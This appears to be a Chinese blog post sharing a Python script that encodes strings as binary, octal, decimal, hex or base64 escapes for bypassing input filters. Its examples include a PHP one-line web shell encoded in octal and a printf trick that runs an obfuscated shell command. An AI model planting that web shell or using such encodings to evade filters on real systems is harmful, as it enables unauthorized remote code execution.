话不多说上代码,因为考虑到编码绕过的适合的方便性,所以输出时候进行了一下方便性的修改,注释掉的地方为容错机制(个人觉得没啥必要)
import base64
data = input('请输入需要编码的字符串\n:')
base_list = ['b','o','d','x','a']
#o = str.lower(input("选择编码方式:(B)in、(O)ct、(D)ec、He(x)、B(a)se64\n:"))
o = ''
while o not in base_list:
o = str.lower(input("选择编码方式:(B)in、(O)ct、(D)ec、He(x)、B(a)se64,或者输入q退出\n:"))
if o == 'q':exit()
b = base_list.index(o)
base_name = ['2进制:','8进制:','10进制:','16进制:','base64:']
#格式化输出
if b == 4:
print(base_name[b]+str(base64.b64encode(data.encode('utf-8')),"utf-8"))
exit()
#转换编码
base = [format(ord(i), base_list[b]) for i in data]
if b == 3:
print(base_name[b]+'\\x'+'\\x'.join(base))
else:
print(base_name[b]+'\\'+'\\'.join(base))
输出示例
请输入需要编码的字符串
:ls -a /
选择编码方式:(B)in、(O)ct、(D)ec、He(x)、B(a)se64
:x
16进制:\x6C\x73\x20\x2D\x61\x20\x2F
请输入需要编码的字符串
:<?php @eval($_POST['sh']);?>
选择编码方式:(B)in、(O)ct、(D)ec、He(x)、B(a)se64
:o
8进制:\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\163\150\47\135\51\73\77\76
效果演示(是不是很有趣)
➜ ~ #16进制编码
➜ ~ $(printf "\x6C\x73\x20\x2D\x61\x20\x2F")
. bin dev home lib lib64 lost+found mnt proc run srv tmp var
.. boot etc init lib32 libx32 media opt root sbin sys usr
➜ ~
➜ ~#8进制编码
➜ ~ $(printf "\154\163\040\055\141\040\057")
. bin dev home lib lib64 lost+found mnt proc run srv tmp var
.. boot etc init lib32 libx32 media opt root sbin sys usr
➜ ~